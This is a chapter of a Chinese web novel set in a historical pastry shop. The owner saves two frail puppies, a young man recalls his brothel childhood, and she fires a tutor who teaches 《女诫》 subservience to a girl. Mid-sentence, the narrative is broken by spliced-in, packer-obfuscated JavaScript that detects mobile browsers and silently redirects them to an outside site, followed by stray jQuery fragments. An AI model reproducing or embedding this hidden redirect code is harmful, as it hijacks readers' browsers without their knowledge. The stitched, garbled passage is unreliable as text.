33. 生命平等

作品:《桃花深处点心铺

    许是因为失去母亲,加营养不良的缘故,团子和毛毛身体极为孱弱,瘦得能摸到骨头,呼吸也是有一下没一下。


    若不是两个小小的身子还在起伏,只怕人会觉得,它们已经没生息了。


    裴清梧心急如焚。


    这个时代没有宠物医院,兽医也只会看诸如牛,或者马这样,能为人工作的牲畜,穷人生了病,可能都没钱请大夫,一口气撑着罢了,人命如此,犬命又算什么。


    没有医生,裴清梧只能照着自己曾在互联网上看到的一些帖子,小心地看护着这两只毛孩子。


    除了喂羊奶,裴清梧还试着往里头搀点新鲜的蔬菜和煮到软烂的肉糜,能多补充一些营养是一些。


    念慈一直陪在她身边,安静地看着。


    直到锦娘觉得她真的该睡觉了,她才开口问道:“东家姐姐,团子和毛毛明天会没事的,对吧?”


    “姐姐一定会救活他们的,就像救我一样。”


    望着小孩子满是期待的大眼睛,裴清梧重重地点头:“这是自然,团子和毛毛,一定会没事的!”


    见念慈被锦娘带去睡觉了,裴清梧才跌坐回去,揉了揉自己的眉心。


    “东家,连人都讲生死有命,富贵在天,何况两只小犬乎?”银岚见小姑娘走远了,才端来一盏安神汤,劝裴清梧喝了:“若是担心小念慈,明儿一早,咱去狗市买两只就是了。”


    “反正这样小的狗,长得都一样。”


    安神汤是用半只乌鸡炖的,和酸枣仁、柏子仁、龙眼肉这些药材一起,炖了整整两个小时,乌鸡已经软烂脱骨,汤却还是清亮亮一碗,澄澈极了。


    抿进嘴里,甘甜醇厚间,搀了些许枣仁的微酸。


    裴清梧咂摸着这味,轻轻摇了摇头:“不一样,都是生命,能活,就该活,我能救,就该救。”


    银岚似乎还是有些没听懂,不过,在她眼中,东家几乎是全能的,便也没反驳,只笑道:“东家菩萨心肠,也是,若无东家,我们这铺子里的一群人,也就石大哥有个好活路。”


    “你这叫捧杀。”裴清梧也笑:“好啦,夜深了,你快去睡吧。”


    见银岚离开,裴清梧又把目光投向一直沉默着的顾恒:“阿恒,你也快去睡吧。”


    顾恒摇摇头:“不,我陪东家,东家不睡,我也不睡。”


    “你啊……”


    知道他倔,裴清梧也没再说什么:“那行,那你过来,给我打打下手。”


    但她也不知道该怎么做,只能拿绒布,裹着两只小奶狗的身子,让它们尽量温暖一点。


    然后轻手轻脚地抚摸着它们,动作温柔至极,怕重一点,就会让孱弱的小生命感到不舒服似的。


    顾恒在一边守着炉子煨羊奶,一边盯着裴清梧的手,不知不觉发了愣。


    她的手很漂亮,白皙如玉,融若清霜,十个手指都纤长好看,偶尔停留在小狗颤抖的背上时,像极了盛放的牡丹。


    就是这样漂亮的手,在他最狼狈,最不像人的时候,将他拉了起来,拉到了阳光下。


    银岚说的没错,这一铺子的人,几乎全靠裴清梧的菩萨心肠活下来的。


    “阿娘,他们都说我是没有阿爷的野孩子,我阿爷呢,我阿爷到底是谁?”


    容貌昳丽的花魁娘子噙着泪,望着一脸委屈的儿子——小小的脸上还带着被石头砸出来的淤青,蹲下身子,茫然道——


    “碰过阿娘的人太多了,阿娘也不记得是谁了。”


    “哐当”一声,门从外边被推开。


    鸨母倚着门框,粗暴地打断了这一幕:“桂枝,崔老爷又点你了,快去妆扮,别带着这一脸的泪水下去,没得叫人嫌晦气。”


    “是、是……我这就去……”


    阿娘唯唯诺诺地离去,鸨母走上前来,在小男孩惊恐的眼神中,蹲下身子,狠狠地掐上了他的脸。


    任他疼得抽气,鸨母也只冷笑:“小子,我知道你打的什么主意……你是想让你那个不知道在哪里的爹,来接你们娘俩儿走?”


    “我告诉你,别痴心妄想,你阿娘是被卖到这里了,你是她生在这里了,一辈子就该待在这泥地里。”


    “没人能救你们出去。”


    可裴清梧救了,她让他有了良籍,让阿娘以良家子的身份下葬……


    除了他,裴清梧又救了银岚,救了茜桃,救了锦娘母子三人……


    现在,两条小奶狗的命,她看的都这般重……


    有时候,他真的会恍惚——


    她是菩萨?还是神女?


    “阿恒,羊奶煨好了吗?”


    裴清梧的声音,打断了顾恒纷乱的思绪,他慌忙道:“好,好了……”


    “那你从火上取下来,晾一晾。”


    “嗯。”


    顾恒把小釜从炉子上端下来,拿起一边的蒲扇,在冒着热气的羊奶上扇。


    过了一会儿,觉得差不多了,裴清梧让他把奶端过来。


    她用小勺子舀了一点,要往自己手背上倒的时候,顾恒眼疾手快,一把将她摁住。


    “嗯?”


    “我知道东家想试温,可我怕还是会烫到,我来吧,我是男人,还做惯了粗活,皮糙肉厚不怕烫。”


    说罢,他也不管裴清梧是否同意,直接将那勺奶倒在自己的手背上。


    “嘶……”


    确实没晾好,他手背被烫红了一片。


    “哎呀!”裴清梧惊得起身,拉过他的手细细查看:“有没有事?烫得疼不疼?”


    “不疼,一点都不疼。”


    比起曾经鸨母拿烧红的烙铁往他身上摁,确实不怎么疼。


    可裴清梧就是觉得很严重,焦急地说了句“你等一下”后,飞快地跑到冰鉴旁,取了两块冰,敷到被烫红的地方。


    “好点了吗?”


    “嗯,好多了,其实……本来就不怎么疼。”


    “傻子,怎么可能不疼。”裴清梧嗔怪道:“好好的,做什么要逞强?”


    顾恒轻笑着摇头:“哪里算逞强?烫的是我,总比烫到东家的强。”


    裴清梧轻轻锤了他一下:“别这么说,都一样是爷娘给的血肉,烫到谁都不好。”


    顾恒抿唇一笑,低头没再说话。


    是,她关心所有人,救他也是因为她善良,他不该生出多的妄想……


    又过了一会儿,确认羊奶真的晾好了,裴清梧才抱起团子,小心翼翼地喂它喝。


    下垂的发丝遮住她的侧脸,在夜风里温柔得不像话。


    “别光看着,你也学我,喂一下毛毛。”


    顾恒“嗯”了一声,学着她的模样,将小奶狗抱了起来。


    一时,寂静中只余小犬喝奶的声音。


    一直折腾到后半夜,两只小狗才有了生气。


    团子先睁的眼,水汪汪一双,大的像葡萄一般,懵懵懂懂地打量着二人,轻轻“汪”了一声后,蹭了蹭裴清梧伸过去的手。


    毛毛也随后睁了眼,哼哼唧唧地要去抓顾恒的衣摆。


    “太好了,都没事了。”裴清梧高兴极了。


    看她高兴,顾恒也高兴,见夜已深,便关切道:“东家,不早了,明日还要开店,快去睡吧。”


    “是……该睡了,阿恒你也早点睡……”


    要起身的时候,不知道是不是神经绷了许久的原因,裴清梧起身时,突然晕眩了一下,脚底踉跄,眼瞅着要摔倒——


    顾恒忙上前,一把扶住裴清梧。


    她身上的衣服,用李引珠送的香熏过,是清雅的茉莉味,撞了顾恒满怀。


    “东家小心……”


    裴清梧靠在顾恒怀里的时候,才稍稍缓过来了些,紧接着,便是察觉到异样——


    他……已经这般壮了吗?


    因着算现代的年龄,她已经二十四五了,比顾恒大很多,是以一直拿对方当弟弟,有时候觉得,他就还是个孩子。


    谁承想,他已经高了她一个头,肩膀也变得可靠有力,男人味如同檀香,开始被岁月蒸腾而出。


    忽然就红了脸。


    二人极不自在地僵持了一会儿后,顾恒才慌忙放开裴


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16390919|181774||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    清梧。


    “东家,我只是……”


    “我知道,不妨事的,嗯就……”裴清梧轻声道:“晚安啊,阿恒。”


    顾恒的心,也一下子落了回去:“晚安,东家。”


    尽快他并不明白这个词的意思。


    第二日,铺子还是照常地开。


    忙着给客人打包龙须酥的时候,石大勇来了,说是请到了一位先生。


    “是城东的一位老秀才,学问不错,也愿意教女孩子。”


    “多大了?可靠吗?”


    “今岁五十有二,已经带了很多学生了。”


    正是店铺高峰期,裴清梧顾不上其他,便先让石大勇把人带去,给念慈试讲一节课。


    “东家,来两包玉絮糕,要原味的!”


    “哎,好,来啦。”


    待终于有了空闲,裴清梧嘱咐五娘和茜桃看好店,自己擦了擦手,往后院走去。


    角落里的垫子上,两只小奶狗依偎在一起沉睡,微弱的呼吸已变得平稳许多。


    “《女诫》有云:女子卑弱第一。古者生女三日,卧之床下,弄之瓦砖,而斋告焉。卧之床下,明其卑弱,主下人也……”


    苍老的声音传来,抑扬顿挫,讲的是女子生来卑下,应当以顺从为美德,以侍奉夫家为天职。


    裴清梧原本带着期待的笑容瞬间僵在了脸上。


    她原本以为,即便不能立刻学四书五经,也该从《千字文》、《百家姓》这类启蒙开始,教孩子认字识礼,开阔眼界。


    万万没想到,这老秀才一开口,灌输的竟是这套赤裸裸将女子钉死在“卑弱”、“顺从”枷锁里的《女诫》。


    “……夫有再娶之义,妇无二适之文……”那老秀才还在滔滔不绝。


    她站在廊下,只觉一股怒火,直冲头顶。


    “够了!”裴清梧按捺不住,几步走到石桌旁,脸上尽是冰冷的怒意。


    老秀才骤然被打断,抬头不满道:“裴东家,你这是何意?老朽正在传道授业……”


    “传道授业?”裴清梧冷笑一声,指着周秀才面前那卷《女诫》、“先生教的,就是告诉一个曾经目睹自己阿娘挨打的女孩子,她生来就比别人卑贱,这辈子唯一的价值就是将来嫁人生子,然后顺从丈夫,忍受丈夫无情无义?”


    “我请先生来,是要教念慈识字明理,让她明白世界之大,知晓人情世故,让她将来能靠自己的本事立身,而不是教她从小就把自己钉死在‘卑弱’二字上当个傀儡!”


    老秀才气得胡子直抖:“荒谬!女子无才便是德!你不教她妇德女工,难道还想让她去考状元不成?这是自古以来的道理!”


    “自古以来是自古以来,我这里,便没有这样的道理!”裴清梧提高了声音:“石大哥,立刻送这位先生出去,按半日的束脩结算给他。”


    说着,她从腰间荷包掏出几枚铜钱,塞给还在发愣的石大勇。


    “你、你这个妇人!离经叛道!不可理喻!我不教了!”


    老秀才一把抓起桌上的书卷,也顾不上收拾笔墨,在石大勇半推半送的尴尬陪同下,怒气冲冲地拂袖而去。


    院子里一片寂静。


    念慈有些害怕地躲到锦娘身后。


    锦娘搂着女儿,眼神复杂地看着裴清梧,嘴唇动了动,最终低声道:“东家,这样会不会不太好?那先生毕竟是读书人。”


    银岚也凑过来,小声嘀咕:“东家,女儿家迟早是要嫁人的呀,学点规矩也好……”


    裴清梧却不辩,只走到念慈面前,蹲下身子:“念慈别怕,姐姐不是生气……姐姐生气的是,有人想在你小小年纪,就给你套上枷锁,告诉你女孩天生就该矮人一头。”


    “你要记住,在这世间,无论男女,生命都是平等的珍贵,读书识字,是为了让你明白事理,是为了让你将来有能力选择自己想要的生活,而不是为了把自己框进别人定好的格子里。”


    “女子,也可以顶天立地,也可以活出自己的精彩。姐姐一定给你找一位真正教你有用之学的先生。”